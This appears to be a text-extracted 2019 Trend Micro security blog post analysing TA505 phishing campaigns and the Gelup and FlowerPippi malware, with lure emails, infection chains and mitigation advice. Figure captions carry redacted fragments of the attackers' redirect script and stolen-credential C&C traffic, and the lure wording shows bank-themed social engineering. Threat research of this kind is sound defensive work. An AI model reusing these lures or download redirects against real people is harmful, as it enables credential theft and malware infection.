- <u>Trend Micro</u>
- <u>About TrendLabs Security Intelligence Blog</u>

<u>Home</u> » <u>Malware</u> » Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi

Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi

- Posted on: July 4, 2019 at 5:30 am
- Posted in:<u>Malware</u>, <u>Spam</u>
- Author: <u>Trend Micro</u>

<u>0</u>	
	ŗ,Ęŗ
2	

By: Hara Hiroaki and Loseway Lu (Threats Analysts)

Since our last <u>research</u> on TA505, we have observed new activity from the group that involves campaigns targeting different countries over the last few weeks. We found them targeting countries in the Middle East such as United Arab Emirates and Saudi Arabia, as well as other countries such as India, Japan, Argentina, the Philippines, and South Korea.

This blog post covers the updates from TA505's campaigns and indicators of compromise (IoCs), as well as the latest tactics, techniques, and procedures of these campaigns, particularly those observed in late June. We also analyzed a new malware tool named Gelup (detected by Trend Micro as Trojan.Win32.GELUP.A), which we saw the group use in one of the campaigns on June 20.

Gelup abuses user account control (UAC) bypass and works as a loader for other threats. The tool also uses the packer of <u>FlawedAmmyy</u>, a remote access trojan, from previous campaigns. TA505 is also using FlowerPippi (Backdoor.Win32.FLOWERPIPPI.A), a new backdoor that we found them using in their campaigns against targets in Japan, India, and Argentina. Our in-depth analysis of the Gelup malware and FlowerPippi backdoor, including their infection chains and C&C communication, is detailed in our <u>technical brief</u>.

Targeting the UAE

TA505 targeted Middle Eastern countries in a June 11 campaign that delivered more than 90% of the total spam emails to the UAE, Saudi Arabia, and Morroco. The spam emails contained either an .html or .xls file attachment. The HTML file leads to a download of another Excel file embedded with malicious Excel 4.0 macro, which then downloads a FlawedAmmyy downloader (in .msi file) that leads to the FlawedAmmyy payload. The direct .xls attachments were equipped with VBA macro. It fetches the same FlawedAmmyy downloader .msi file, then downloads the FlawedAmmyy payload. Figure 2 shows the campaign's infection chain.

7/19/2019

Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi - TrendLabs Security Intelligence Blog

We saw similar campaigns on June 13, but these campaigns also delivered their malware via .doc files, along with HTML and Excel files.

C E-receipt for Transaction International Transfe - Mozilla Thunderbird	-
ファイル(E) 編集(E) 表示(M) 移動(G) メッセージ(M) ツール(E) ヘルプ(H)	
□□受信 ∨ ✔作成 □□チャット ②アドレス帳 ◎ タグ ∨	
差出人	ち返信 ち 全員に返信 ∨ → 転
件名 E-receipt for Transaction International Transfer	
宛先 ae 🟠	
Cc	
Dear client -	
With reference to International Transfer please f:	ind attached the e-receipt.
Customer Service - Online Banking	
Customer Service - Online Banking	
Regards, Service - Online Banking	
Regards, Customer Service - Online Banking	
Regards, Customer Service - Online Banking Disclaimer: This is a system generated mail. For any queries, please	e contact the Bank.
Regards, Customer Service - Online Banking Disclaimer: This is a system generated mail. For any queries, please Copyright ◆ All Rights Reserved.	e contact the Bank.

Figure 1. A sample spam email delivered to TA505's targets in the Middle East



Figure 2. Infection chain of the spam emails with the FlawedAmmyy RAT

C Emailing: Customer Balance Confirmation	
ファイル(E) 編集(E) 表示(V) 移動(G) メッセージ(M) ツール(E) ヘルプ(H)	
▽受信 ∨ ✔作成 □チャット &アドレス帳 ♡タグ∨	
差出人	ち返信
件名 Emailing: Customer Balance Confirmation (A8F2B)	
宛先	
Your message is ready to be sent with the following file or lin	k
attachments:	
Customer Balance Confirmation	
Note: To protect against computer viruses o mail programs may	nouent
sending or receiving certain types of file attachments. Check	your e-mail
security settings to determine how attachments are handled.	·
▶ 前添付ファイル。 html 40 KB	
<body></body>	
<div id="notfound"></div>	
<pre><div class="notfound"></div></pre>	
<h2>your file is downloading, please wait</h2>	
dim</td <td></td>	
<script></td><td></td></tr><tr><td>var url= "http:/</td><td>";</td></tr><tr><td colspan=2>window.location = url;</td></tr><tr><td></script>	

Figure 3. Sample spam email sent on June 13 (top), and screenshot of code showing how the HTML file downloading a malicious document (bottom)

On June 14, we saw TA505's campaign still targeting UAE with similar tactics and techniques, but this time, some of the spam emails were delivered via the Amadey botnet. They used Wizard (.wiz) files in this campaign, with FlawedAmmyy RAT as the final payload.

Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi - TrendLabs Security Intelligence Blog

🌍 Pending ·	- Mozilla Thunderbird
ファイル(E)	編集(E) 表示(V) 移動(G) メッセージ(M) ツール(I) ヘルプ(H)
₽受信~	・ ✔ 作成 □ チャット ▲ アドレス帳 🛇 タグ ∨
差出人	
件名 Pen	ding
宛先	
Dear	
Can you pr	rovide us with invoice and DO copy of this LPO
	Camp Maintenance Supervisor
	Mob:
. 0	
▷ 🔘 添付に	ファイル: 20190614467087452.xls 154 KB

Figure 4. Sample spam email from a campaign observed on June 14

On June 18, the majority of the campaign's spam emails were sent with the subject, "Your RAKBANK Tax Invoice / Tax Credit Note" or "Confirmation." This campaign used the abovementioned .html file, malicious Excel/Word document VBA macro, the FlawedAmmyy payload, and Amadey. It later delivered an information stealer named "EmailStealer," which stolesimple mail transfer protocol (SMTP) credentials and email addresses in the victim's machine. We found at least hundreds of SMTP credentials on their C&C server. It also collected more than a million email addresses, 80% of which were either .com or .ae top-level domains (TLDs).

út 18.6 2019 7:37		
[External] Your RAKBANK Tax Invoice / Tax Credit Note		
To		
You forwarded this message on 18.6.2019 8:27.		
Message Tax_Invoice13375.html		
Dear Customer,		
Please find attached the Tax Invoice and Tax Credit Note for the month of May 2019, wherever applicable. To ensure that your financial information is secure, these attachments are password protected.		
To open your VAT invoice : Please enter first 4 letters of your account name and date of birth as ddmm.		
For example: If your account name is in and your date of hirth is 15 th Septem ber 1972 please enter the password as your account name is less than 4 characters then please use the full account name for e.g. if your account name is and your date of birth is 10 th September 1972 please enter the password as		
Please note that all letters in the password should be in lower case and special characters are not permitted.		
Sincerely,		
=khead>		
<meta content="0; URL=<u>http:/</u>dog" http-equiv="refresh"/>		
∃ <body></body>		
Downloading		
c) souls		
Host:		
Content-Length: 203		
Proxy-Connection: Keep-Alive		
<pre>[{"outlook-accounts": [{"email":' "iman":null "name":" ""non?":</pre>		
{"password":" ',"server":' '},"smtp":		
{"server":" "}}],"thunderbird-emails":null}		

Figure 5. A sample spam email from the campaign observed on June 18 (top); snippet of code showing the malware-embedded .doc file that will be downloaded (center); and snapshot of email credentials being stolen (bottom)

On June 24, we found another campaign targeting Lebanon with the ServHelper malware. This one had subcampaigns that targeted India and Italy with different email content.

MENTO N-204
ento delle fatture scadute per totali ä⊠Ź 3.026,58, come da estratto conto allegatc

Figure 6. Screenshot of spam email from a sub-campaign observed on June 24 targeting Italy

Email secured by

7/19/2019

Targeting banks in India and other countries in Asia

On June 17, we observed the campaign's spam emails delivering malware-embedded Excel files directly as an attachment. The spam emails used subject lines such as "Emirates NBD E-Statement" and "Visa Canceled" as social engineering lures. This campaign used the ServHelper loader, which was downloaded by the VBA macro.

A closer inspection of the email showed that its content would have been more applicable to Arabic-speaking users or countries, particularly the UAE. In the spam emails that used "Visa Canceled" on the subject line, for example, the email claims to be from the General Directorate of Residency and Foreigners Affairs – Dubai, and contained Arabic content. Nonetheless, these spam emails were not delivered to the UAE or Arabic-speaking users, but to banks in Asian countries such as India, Indonesia, and the Philippines.

	po 17.6.2019 14:02 E-Statement	
	To Message E-STATEMENT_17 JUN 2019_58820261.xls	
	Security Note: This email is intended f	for CIF no [Field: Customer CIF - Masked]
	(Second	BUSINESS BANKING
		1
	POST http://	; charset=utf-8 ; x64; rv:66.0) Gecko/20100101 1+%28Version+6.1%2C+8uild+7601%2C+ =&rights=
re 114.2019 13.37 Visa Cancelled ⁷ Vis forwarded this message on 17.4.2019 14.29.		
Message 🗑 ResidenceCanceL2019170634413014.xts (139 KB)		
Dear Customer, We have processed your request and the file number : has been canceden. Please note that if the file holder is inside (JAE, then he/yoe must leave the country or drame status up to 237-2308. Please find a copy of the cancellation printout attached with this email.	مروزة اشتبار. الد عند سلما المرار (بلدا تشد زم 1993) الرق من معارز المرار المرار الرق منحلة أنه المراري سلم م الإندا معا الروم الإكلاني الم تبقلة.	
Sincerely, General Directorate of Residency and Foreigners Affairs – Dubai	الإدارة المامة للإنفاء وكثورن الأجلب – دبي	

Figure 7. Sample spam email from a campaign observed on June 17 (top); the ServHelper-related command-and-control (C&C) traffic (center); and sample spam email from a similar campaign that used a mix of .html and .xls files to deliver the ServHelper loader

Targeting Japan, Philippines, South Korea, and Argentina

On June 20, we spotted the campaign's spam emails delivering .doc and .xls files. We found the malicious VBA macro downloading an apparently new and undocumented malware named FlowerPippi, as well as Gelup (the details of the malware will be discussed below).

On the same day, the campaign targeting South Korea also used .doc and .xls attachments. We did not find any attachments in the few samples we came across, but we found malicious URLs directly in the email content instead. These URLs lead to the download of malicious .xls files or .doc files, with the final payload still being the FlawedAmmyy RAT. This gave us the opportunity to observe TA505's method of using URLs to deliver the entry point malware.

	čt 20.6.2019 13:29
	Profoma Invoice_8151
To Cc	
Dear Sir,	
Please find a	ttached invoices for your reference.
Thanks & be	st regards,

Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi - TrendLabs Security Intelligence Blog

🌍 쌍용 인보이스 4736 - Mozilla Thunderbird
ファイル(E) 編集(E) 表示(V) 移動(G) メッセージ(M) ツール(I) ヘルプ(H)
▽受信 ∨ ✔作成 ▽チャット ②アドレス帳 ♡タグ ∨
差出人
件名 쌍용 인보이스 4736
宛先
Download
the second se
Seoul Korea

Figure 8. Screenshot of a spam email targeting Japan, the Philippines, and Argentina (top), and another that targets South Korea, which directly uses or embeds a malicious URL instead of an attachment (bottom)

Gelup Downloader Malware and FlowerPippi Backdoor

In the campaign that targeted Japan, Philippines, and Argentina on June 20, we found what seems to be a new, undisclosed malware, which we named Gelup. After our analysis, we found that Proofpoint reported this malware as <u>AndroMut</u> as well. A custom packer was used to pack some variants of this malware — the same one that TA505 had been using.

The unpacked payload is written in C++ and basically works as a downloader for another malware. What makes Gelup different, however, is its obfuscation technique and UAC-bypassing function by mocking trusted directories (spoofing the file's execution path in a trusted directory), abusing auto-elevated executables, and using the dynamic-link library (DLL) side-loading technique. As explained in our <u>technical brief</u>, Gelup supports techniques that can deter static and dynamic analyses, and has multilayered steps for installing itself into the system.

Another new malware we found that TA505 is using in their campaigns last June 20 against targets in Japan, the Philippines, and Argentina is FlowerPippi. This malware acts as a backdoor and downloader, and is a standalone malware tool and retrieved more straightforwardly than Gelup. Our <u>technical brief</u> provides more details on FlowerPippi's capabilities and routines.

Best practices and mitigation

As our research shows, the scale and extent of TA505's campaigns, which deliver a multitude of threats — from <u>ransomware</u> to information stealers and backdoors — make them significant security issues to organizations. Their active operations and ever-changing tactics are worth noting. In fact, we've already seen this in a recently <u>disclosed</u> research on their activities on the UAE, South Korea, Singapore, and the U.S.

But more importantly, TA505's spam campaigns highlight the importance for organizations to secure their online infrastructures, particularly the email gateways. Adopt <u>best practices</u> on <u>thwarting</u> messaging-related threats; enforce the principle of least privilege to mitigate further exposure; and regularly update systems (or use <u>virtual patching</u> for legacy systems) to prevent attackers from taking advantage of security gaps. Additional security mechanisms like enabling <u>firewalls</u> and <u>intrusion detection and prevention systems</u> will help thwart suspicious network activities that may indicate red flags like data exfiltration or C&C communication.

Organizations can also consider Trend Micro[™] endpoint solutions such as <u>Trend Micro Smart Protection</u> <u>Suites</u> and <u>Worry-Free[™] Business Security</u>. Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. <u>Trend Micro</u> <u>Deep Discovery[™]</u> has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.

<u>Trend Micro[™] Hosted Email Security</u> is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, <u>Microsoft Office 365</u>, Google Apps, and other hosted and on-premises email solutions.

7/19/2019

Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi - TrendLabs Security Intelligence Blog

Our in-depth analysis of the Gelup malware is in this <u>technical brief</u>, while the IoCs related to the TA505's campaigns we observed are in this <u>appendix</u>.

With additional insights and analysis by Kawabata Kohei